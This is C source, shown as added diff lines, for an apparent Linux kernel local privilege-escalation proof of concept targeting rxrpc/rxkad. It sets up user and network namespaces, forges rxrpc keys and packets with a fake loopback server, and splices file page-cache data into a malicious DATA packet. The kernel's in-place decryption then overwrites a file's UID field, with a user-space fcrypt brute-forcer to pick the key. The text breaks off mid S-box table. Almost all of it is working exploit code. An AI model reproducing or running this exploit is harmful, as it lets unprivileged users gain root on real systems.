+#define SOL_ALG 279 +#endif +#ifndef AF_ALG +#define AF_ALG 38 +#endif +#ifndef MSG_SPLICE_PAGES +#define MSG_SPLICE_PAGES 0x8000000 +#endif + +/* ---- rxrpc constants ---- */ +#define RXRPC_PACKET_TYPE_DATA 1 +#define RXRPC_PACKET_TYPE_ACK 2 +#define RXRPC_PACKET_TYPE_ABORT 4 +#define RXRPC_PACKET_TYPE_CHALLENGE 6 +#define RXRPC_PACKET_TYPE_RESPONSE 7 +#define RXRPC_CLIENT_INITIATED 0x01 +#define RXRPC_REQUEST_ACK 0x02 +#define RXRPC_LAST_PACKET 0x04 +#define RXRPC_CHANNELMASK 3 +#define RXRPC_CIDSHIFT 2 + +struct rxrpc_wire_header { + uint32_t epoch; + uint32_t cid; + uint32_t callNumber; + uint32_t seq; + uint32_t serial; + uint8_t type; + uint8_t flags; + uint8_t userStatus; + uint8_t securityIndex; + uint16_t cksum; /* big-endian on wire */ + uint16_t serviceId; +} __attribute__((packed)); + +struct rxkad_challenge { + uint32_t version; + uint32_t nonce; + uint32_t min_level; + uint32_t __padding; +} __attribute__((packed)); + +/* Attacker-chosen 8-byte session key used for the rxkad token. + * Mutable because the LPE brute-force iterates over keys looking for + * one that decrypts the file's UID field to a "0:" prefix. */ +static uint8_t SESSION_KEY[8] = { + 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08 +}; + +#define LOG(fmt, ...) fprintf(stderr, "[+] " fmt "\n", ##__VA_ARGS__) +#define WARN(fmt, ...) fprintf(stderr, "[!] " fmt "\n", ##__VA_ARGS__) +#define DBG(fmt, ...) fprintf(stderr, "[.] " fmt "\n", ##__VA_ARGS__) + +/* =================================================================== */ +/* unshare + map setup */ +/* =================================================================== */ + +static int write_file(const char *path, const char *fmt, ...) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + char buf[256]; va_list ap; va_start(ap, fmt); + int n = vsnprintf(buf, sizeof(buf), fmt, ap); va_end(ap); + int r = (int)write(fd, buf, n); close(fd); + return r; +} + +static int do_unshare_userns_netns(void) +{ + uid_t real_uid = getuid(); + gid_t real_gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + WARN("unshare(NEWUSER|NEWNET): %s", strerror(errno)); + return -1; + } + LOG("unshare(USER|NET) OK, real uid=%u", real_uid); + write_file("/proc/self/setgroups", "deny"); + if (write_file("/proc/self/uid_map", "%u %u 1", real_uid, real_uid) < 0) { + WARN("uid_map: %s", strerror(errno)); return -1; + } + if (write_file("/proc/self/gid_map", "%u %u 1", real_gid, real_gid) < 0) { + WARN("gid_map: %s", strerror(errno)); return -1; + } + LOG("uid/gid identity-mapped %u/%u; gained CAP_NET_RAW within netns", + real_uid, real_gid); + + /* ifup lo */ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s >= 0) { + struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, "lo"); + if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) + WARN("SIOCSIFFLAGS lo: %s", strerror(errno)); + else + LOG("lo brought UP in new netns"); + } + close(s); + } + return 0; +} + +/* =================================================================== */ +/* rxrpc key (rxkad v1 token with attacker session key) */ +/* =================================================================== */ + +static long key_add(const char *type, const char *desc, + const void *payload, size_t plen, int ringid) +{ + return syscall(SYS_add_key, type, desc, payload, plen, ringid); +} + +static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen) +{ + uint8_t *p = out; + uint32_t now = (uint32_t)time(NULL); + uint32_t expires = now + 86400; + *(uint32_t *)p = htonl(0); p += 4; /* flags */ + const char *cell = "evil"; + uint32_t clen = strlen(cell); + *(uint32_t *)p = htonl(clen); p += 4; + memcpy(p, cell, clen); + uint32_t pad = (4 - (clen & 3)) & 3; + memset(p + clen, 0, pad); + p += clen + pad; + *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ + uint8_t *toklen_p = p; p += 4; + uint8_t *tokstart = p; + *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ + *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ + *(uint32_t *)p = htonl(1); p += 4; /* kvno */ + memcpy(p, SESSION_KEY, 8); p += 8; /* session_key K */ + *(uint32_t *)p = htonl(now); p += 4; + *(uint32_t *)p = htonl(expires); p += 4; + *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ + *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ + memset(p, 0xCC, 8); p += 8; /* ticket */ + uint32_t toklen = (uint32_t)(p - tokstart); + *(uint32_t *)toklen_p = htonl(toklen); + if ((size_t)(p - out) > maxlen) { errno = E2BIG; return -1; } + return (int)(p - out); +} + +static long add_rxrpc_key(const char *desc) +{ + uint8_t buf[512]; + int n = build_rxrpc_v1_token(buf, sizeof(buf)); + if (n < 0) return -1; + return key_add("rxrpc", desc, buf, n, KEY_SPEC_PROCESS_KEYRING); +} + +/* =================================================================== */ +/* AF_ALG pcbc(fcrypt) helpers */ +/* =================================================================== */ + +static int alg_open_pcbc_fcrypt(const uint8_t key[8]) +{ + int s = socket(AF_ALG, SOCK_SEQPACKET, 0); + if (s < 0) { WARN("socket(AF_ALG): %s", strerror(errno)); return -1; } + struct sockaddr_alg sa = { .salg_family = AF_ALG }; + strcpy((char *)sa.salg_type, "skcipher"); + strcpy((char *)sa.salg_name, "pcbc(fcrypt)"); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + WARN("bind(AF_ALG pcbc(fcrypt)): %s", strerror(errno)); + close(s); return -1; + } + if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { + WARN("ALG_SET_KEY: %s", strerror(errno)); + close(s); return -1; + } + return s; +} + +/* Encrypt-or-decrypt a 1+ block of data with a given IV. */ +static int alg_op(int alg_s, int op, const uint8_t iv[8], + const void *in, size_t inlen, void *out) +{ + int op_fd = accept(alg_s, NULL, NULL); + if (op_fd < 0) { WARN("accept(AF_ALG): %s", strerror(errno)); return -1; } + + char cbuf[CMSG_SPACE(sizeof(int)) + + CMSG_SPACE(sizeof(struct af_alg_iv) + 8)] = {0}; + struct msghdr msg = {0}; + msg.msg_control = cbuf; + msg.msg_controllen = sizeof(cbuf); + + struct cmsghdr *c = CMSG_FIRSTHDR(&msg); + c->cmsg_level = SOL_ALG; + c->cmsg_type = ALG_SET_OP; + c->cmsg_len = CMSG_LEN(sizeof(int)); + *(int *)CMSG_DATA(c) = op; + + c = CMSG_NXTHDR(&msg, c); + c->cmsg_level = SOL_ALG; + c->cmsg_type = ALG_SET_IV; + c->cmsg_len = CMSG_LEN(sizeof(struct af_alg_iv) + 8); + struct af_alg_iv *aiv = (struct af_alg_iv *)CMSG_DATA(c); + aiv->ivlen = 8; + memcpy(aiv->iv, iv, 8); + + struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + + if (sendmsg(op_fd, &msg, 0) < 0) { + WARN("AF_ALG sendmsg: %s", strerror(errno)); + close(op_fd); return -1; + } + ssize_t n = read(op_fd, out, inlen); + close(op_fd); + if (n != (ssize_t)inlen) { + WARN("AF_ALG read got %zd want %zu: %s", + n, inlen, strerror(errno)); + return -1; + } + return 0; +} + +/* Compute conn->rxkad.csum_iv (ref: rxkad_prime_packet_security): + * tmpbuf[0..3] = htonl(epoch, cid, 0, security_ix) (16 B) + * PCBC-encrypt(tmpbuf, IV=session_key) → out[16] + * csum_iv = out[8..15] (last 8 B = "tmpbuf[2..3]" after encryption) + */ +static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, + const uint8_t key[8], uint8_t csum_iv[8]) +{ + int s = alg_open_pcbc_fcrypt(key); + if (s < 0) return -1; + uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; + uint8_t out[16]; + int rc = alg_op(s, ALG_OP_ENCRYPT, key, in, 16, out); + close(s); + if (rc < 0) return -1; + memcpy(csum_iv, out + 8, 8); + return 0; +} + +/* Compute the wire cksum (ref: rxkad_secure_packet @rxkad.c:342): + * x = (cid_low2 << 30) | (seq & 0x3fffffff) + * buf[0] = htonl(call_id), buf[1] = htonl(x) (8 B) + * PCBC-encrypt(buf, IV=csum_iv) → enc[8] + * y = ntohl(enc[1]); cksum = (y >> 16) & 0xffff; if zero -> 1 + */ +static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, + const uint8_t key[8], const uint8_t csum_iv[8], + uint16_t *cksum_out) +{ + int s = alg_open_pcbc_fcrypt(key); + if (s < 0) return -1; + uint32_t x = (cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT); + x |= seq & 0x3fffffff; + uint32_t in[2] = { htonl(call_id), htonl(x) }; + uint32_t out[2]; + int rc = alg_op(s, ALG_OP_ENCRYPT, csum_iv, in, 8, out); + close(s); + if (rc < 0) return -1; + uint32_t y = ntohl(out[1]); + uint16_t v = (y >> 16) & 0xffff; + if (v == 0) v = 1; + *cksum_out = v; + return 0; +} + +/* =================================================================== */ +/* AF_RXRPC client */ +/* =================================================================== */ + +static int setup_rxrpc_client(uint16_t local_port, const char *keyname) +{ + int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); + if (fd < 0) { WARN("socket(AF_RXRPC client): %s", strerror(errno)); return -1; } + if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, + keyname, strlen(keyname)) < 0) { + WARN("client SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; + } + int min_level = RXRPC_SECURITY_AUTH; + if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, + &min_level, sizeof(min_level)) < 0) { + WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); + close(fd); return -1; + } + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = 0; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(local_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { + WARN("client bind :%u: %s", local_port, strerror(errno)); + close(fd); return -1; + } + LOG("AF_RXRPC client bound :%u", local_port); + return fd; +} + +static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, + uint16_t service_id, + unsigned long user_call_id) +{ + char data[8] = "PINGPING"; + struct sockaddr_rxrpc srx = {0}; + srx.srx_family = AF_RXRPC; + srx.srx_service = service_id; + srx.transport_type = SOCK_DGRAM; + srx.transport_len = sizeof(struct sockaddr_in); + srx.transport.sin.sin_family = AF_INET; + srx.transport.sin.sin_port = htons(srv_port); + srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); + + char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; + struct msghdr msg = {0}; + msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); + struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; + msg.msg_iov = &iov; msg.msg_iovlen = 1; + msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); + struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); + cmsg->cmsg_level = SOL_RXRPC; + cmsg->cmsg_type = RXRPC_USER_CALL_ID; + cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); + *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; + + /* Don't block forever if no reply ever comes through this single sendmsg. */ + int fl = fcntl(cli_fd, F_GETFL); + fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); + + ssize_t n = sendmsg(cli_fd, &msg, 0); + fcntl(cli_fd, F_SETFL, fl); + if (n < 0) { + if (errno == EAGAIN || errno == EWOULDBLOCK) { + LOG("client sendmsg returned EAGAIN (expected; kernel will keep " + "retrying handshake)"); + return 0; + } + WARN("client sendmsg: %s", strerror(errno)); + return -1; + } + LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", + n, srv_port); + return 0; +} + +/* =================================================================== */ +/* fake-server (plain UDP) */ +/* =================================================================== */ + +static int setup_udp_server(uint16_t port) +{ + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } + struct sockaddr_in sa = {0}; + sa.sin_family = AF_INET; + sa.sin_port = htons(port); + sa.sin_addr.s_addr = htonl(0x7F000001); + if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { + WARN("udp server bind :%u: %s", port, strerror(errno)); + close(s); return -1; + } + LOG("plain UDP fake-server bound :%u", port); + return s; +} + +/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ +static ssize_t udp_recv_to(int s, void *buf, size_t cap, + struct sockaddr_in *from, int timeout_ms) +{ + struct pollfd pfd = { .fd = s, .events = POLLIN }; + int rc = poll(&pfd, 1, timeout_ms); + if (rc <= 0) return -1; + socklen_t fl = from ? sizeof(*from) : 0; + return recvfrom(s, buf, cap, 0, + (struct sockaddr *)from, from ? &fl : NULL); +} + +/* =================================================================== */ +/* main PoC */ +/* =================================================================== */ + +static int trigger_seq = 0; + +static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) +{ + char keyname[32]; + snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); + + long key = add_rxrpc_key(keyname); + if (key < 0) { + if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); + return -1; + } + + /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ + uint16_t port_S = 7777 + (trigger_seq * 2 % 200); + uint16_t port_C = port_S + 1; + uint16_t svc_id = 1234; + + int udp_srv = setup_udp_server(port_S); + if (udp_srv < 0) { + if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); + syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1; + } + + int rxsk_cli = setup_rxrpc_client(port_C, keyname); + if (rxsk_cli < 0) { + if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); + close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { + if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + uint8_t pkt[2048]; + struct sockaddr_in cli_addr; + ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); + if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { + if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; + uint32_t epoch = ntohl(whdr_in->epoch); + uint32_t cid = ntohl(whdr_in->cid); + uint32_t callN = ntohl(whdr_in->callNumber); + uint16_t svc_in = ntohs(whdr_in->serviceId); + uint16_t cli_port = ntohs(cli_addr.sin_port); + + /* Send CHALLENGE */ + { + struct { + struct rxrpc_wire_header hdr; + struct rxkad_challenge ch; + } __attribute__((packed)) c = {0}; + c.hdr.epoch = htonl(epoch); + c.hdr.cid = htonl(cid); + c.hdr.callNumber = 0; c.hdr.seq = 0; + c.hdr.serial = htonl(0x10000); + c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; + c.hdr.securityIndex = 2; + c.hdr.serviceId = htons(svc_in); + c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); + c.ch.min_level = htonl(1); + struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), + .sin_addr.s_addr=htonl(0x7F000001) }; + if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + } + + /* Drain RESPONSE (best-effort) */ + for (int i = 0; i < 4; i++) { + struct sockaddr_in src; + if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; + } + + /* csum + cksum with CURRENT SESSION_KEY */ + uint8_t csum_iv[8] = {0}; + if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + uint16_t cksum_h = 0; + if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + /* Build malicious DATA header */ + struct rxrpc_wire_header mal = {0}; + mal.epoch = htonl(epoch); + mal.cid = htonl(cid); + mal.callNumber = htonl(callN); + mal.seq = htonl(1); + mal.serial = htonl(0x42000); + mal.type = RXRPC_PACKET_TYPE_DATA; + mal.flags = RXRPC_LAST_PACKET; + mal.securityIndex = 2; + mal.cksum = htons(cksum_h); + mal.serviceId = htons(svc_in); + + /* connect udp_srv → client port for splice */ + struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port), + .sin_addr.s_addr=htonl(0x7F000001) }; + if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + + /* pipe + vmsplice header + splice file → pipe → udp_srv */ + int p[2]; + if (pipe(p) < 0) { + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; + } + { + struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; + if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; + } + { + loff_t off = splice_off; + if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) + goto trig_fail; + } + if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { + goto trig_fail; + } + close(p[0]); close(p[1]); + + /* recvmsg the malicious DATA into the kernel's verify_packet path */ + int fl = fcntl(rxsk_cli, F_GETFL); + fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); + for (int round = 0; round < 5; round++) { + char rb[2048]; + struct sockaddr_rxrpc srx; + char ccb[256]; + struct msghdr m = {0}; + struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; + m.msg_name = &srx; m.msg_namelen = sizeof(srx); + m.msg_iov = &iv; m.msg_iovlen = 1; + m.msg_control = ccb; m.msg_controllen = sizeof(ccb); + ssize_t r = recvmsg(rxsk_cli, &m, 0); + if (r > 0) break; + if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); + else break; + } + fcntl(rxsk_cli, F_SETFL, fl); + + close(rxsk_cli); + close(udp_srv); + syscall(SYS_keyctl, 3, key); + return 0; + +trig_fail: + close(p[0]); close(p[1]); + close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); + return -1; +} + +/* =================================================================== + * USER-SPACE pcbc(fcrypt) BRUTE-FORCE + * + * The kernel's rxkad_verify_packet_1() does an in-place 8-byte + * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice + * offset. pcbc with single 8-B block and IV=0 reduces to a plain + * fcrypt_decrypt(C, K). We can therefore search for the right K + * entirely in user-space — without touching the kernel/VM at all — + * before applying ONE deterministic kernel trigger. + * + * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). + * Verified against kernel test vectors: + * K=0, decrypt(0E0900C73EF7ED41) = 00000000 + * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 + * =================================================================== */ + +static const uint8_t fc_sbox0_raw[256] = { + 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, + 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, + 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, + 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, + 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, + 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, + 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, + 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, + 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, + 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, + 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, + 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, + 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, + 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, + 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, + 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, +}; +static const uint8_t fc_sbox1_raw[256] = { + 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, + 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, + 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, + 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, + 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, + 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, + 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, + 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, + 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, + 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, + 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, + 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, + 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, + 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, + 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, + 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, +}; +static const uint8_t fc_sbox2_raw[256] = { + 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, + 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, + 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, + 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, + 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, + 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, + 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, + 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, + 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, + 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, + 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, + 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, + 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, + 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, + 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, + 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, +}; +static const uint8_t fc_sbox3_raw[256] = { + 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, + 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, + 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, + 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, + 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, + 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, + 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 